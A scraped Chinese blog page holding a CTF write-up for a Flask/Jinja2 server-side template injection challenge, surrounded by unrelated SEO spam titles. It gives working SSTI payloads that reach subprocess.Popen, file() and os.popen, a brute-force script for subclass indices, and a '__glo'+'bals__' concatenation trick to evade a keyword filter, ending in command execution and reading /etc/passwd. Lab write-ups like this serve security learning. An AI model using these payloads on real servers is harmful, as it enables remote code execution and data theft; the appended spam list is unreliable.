当前位置: 首页 > news >正文

手机网站开发开发网络营销团队

手机网站开发开发,网络营销团队,网站建设 的类型有哪些,短网址压缩目录 subprocess.Popen FILE warnings.catch_warnings site._Printer 这题很明显就是 SSTI了 源代码 我们试试看 {{7*7}} 然后我们就开始吧 原本我的想法是直接{{url_for.__globals__}} 但是回显是直接500 猜测过滤 我们正常来吧 {{"".__class__}} 查看当前…

目录

subprocess.Popen

FILE

warnings.catch_warnings

site._Printer



这题很明显就是 SSTI了

源代码

我们试试看

{{7*7}}

然后我们就开始吧

原本我的想法是直接{{url_for.__globals__}}

但是回显是直接500 猜测过滤 我们正常来吧

{{"".__class__}}  查看当前情况{{"".__class__.__base__}} 查看基类 这里发现没有利用的 我们修改代码{{"".__class__.__mro__}}  查看全部类  发现存在<type 'object'>了{{"".__class__.__mro__[2].__subclasses__()}}  查看object的子类

这里我们需要 os 来调用

但是这里存在一个类 可以不需要os

subprocess.Popen

Python3 subprocess | 菜鸟教程

需要参数

("命令",shell=True,stdout=-1)这里 stdout  就是指定输出 PIPE

然后我们可以使用 其方法来进行交互

("命令",shell=True,stdout=-1).communicate()

这样我们就可以实现rce

首先通过 脚本跑出来其的位数

import timeimport  requestsbase_url="http://1a3ad76d-35d3-4a35-97fb-8997c87bf989.node4.buuoj.cn:81/?search="for i in range(300):payload="{{\"\".__class__.__mro__[2].__subclasses__()[%s]}}"%ir = requests.get(url=base_url + payload)if "subprocess.Popen" in r.text:print(i)if r.status_code == 429:time.sleep(0.5)

跑出来是258

我们开始构造

?search={{''.__class__.__mro__[2].__subclasses__()[258]("ls",shell=True,stdout=-1).communicate()[0].strip()}}最后的.communicate()[0].strip() 通过 communicate方法 输出 并且指定数组 去除空白符

我们看看 flasklight看看

?search={{''.__class__.__mro__[2].__subclasses__()[258]("cat /flasklight/coomme_geeeett_youur_flek",shell=True,stdout=-1).communicate()[0].strip()}}

FILE

这是另一个方法 通过file读取文件

首先我们要测试一下

先查找一下 file

发现是40

然后我们看看

{{"".__class__.__mro__[2].__subclasses__()[40]}}
/?search={{"".__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read()}}

读取成功

然后我们去读一下命令行吧

发现读出了路径

我们看看这个py

但是还是没有办法直接读取出来 因为不知道flag的文件名字

warnings.catch_warnings

我们首先找一下这个类的位数

59

{{"".__class__.__mro__[2].__subclasses__()[59].__init__}}

这里就卡住了 因为我们还是需要 globals的参与

我们如何绕过过滤呢

{{"".__class__.__mro__[2].__subclasses__()[59].__init__['__glo'+'bals__']}}

这样就可以

我们在上面也知道 是通过匹配过滤的

做到这个我们其实就可以正常rce了 但是还是完善一下这个类的用法吧

这里我们能发现 这个类没有加载 os 需要我们手动加载

我们需要在其

['__builtins__']['eval']

 下导入

payload

?search={{"".__class__.__mro__[2].__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

这样就借助 os 实现了 rce

site._Printer

我们知道了 globals可以拼接绕过

这个方法也可以实现我们看看里面是否内置了 os

?search={{"".__class__.__mro__[2].__subclasses__()[71].__init__['__glo'+'bals__']}}

发现存在 我们直接rce即可

?search={{"".__class__.__mro__[2].__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls').read()}}

最后读取即可

http://www.mfbz.cn/news/469/

相关文章:

  • 多种大连网站建设免费网站推广
  • 体检中心网站建设方案哪里可以买链接网站
  • 东营做网站哪家好成都百度百科
  • 网站建设mingxinsh百度下载软件
  • 小学网站模板免费下载武汉seo搜索引擎优化
  • 做壁纸壁的网站有什么区别长春网站优化
  • 西宁网站建设优化案例网址查询地址查询
  • 建设一个公司网站需要什么知识网络推广要求
  • 六安哪家公司做网站好软文文案范文
  • 博白县建设局网站做优化的网站
  • 网站建设 提供源码100个免费推广b站
  • 网站的建设合同是否交印花税建站模板免费下载
  • 阿里云创建网站百度用户服务中心
  • 成都哪家做网站公司好品牌企业seo咨询
  • 这是我自己做的网站百度霸屏推广
  • 哪里可以做虚拟货币网站四川省人民*官网
  • 创办一个网站的流程推广互联网营销
  • 专业的高端企业网站希爱力吃一颗能干多久
  • 专注东莞微信网站设计百度小说排行榜前十名
  • 网站服务器如何做端口映射seo优化排名经验
  • 私人服装定制网站河源新闻最新消息
  • 提供网站制作公司seo推广培训中心
  • 韶关建设局网站seo综合查询是什么意思
  • html5网站优势网推是什么
  • 西宁做网站君博推荐百度收录的网站
  • 株洲网站建设 英铭seo产品是什么意思
  • 做资源下载网站用什么工具爱网站关键词挖掘工具
  • 做网站用eclipse吗关键词优化排名要多少钱
  • 深圳定制网站建设服务公司搜狐财经峰会直播
  • 医院响应式网站建设方案重庆seo优化推广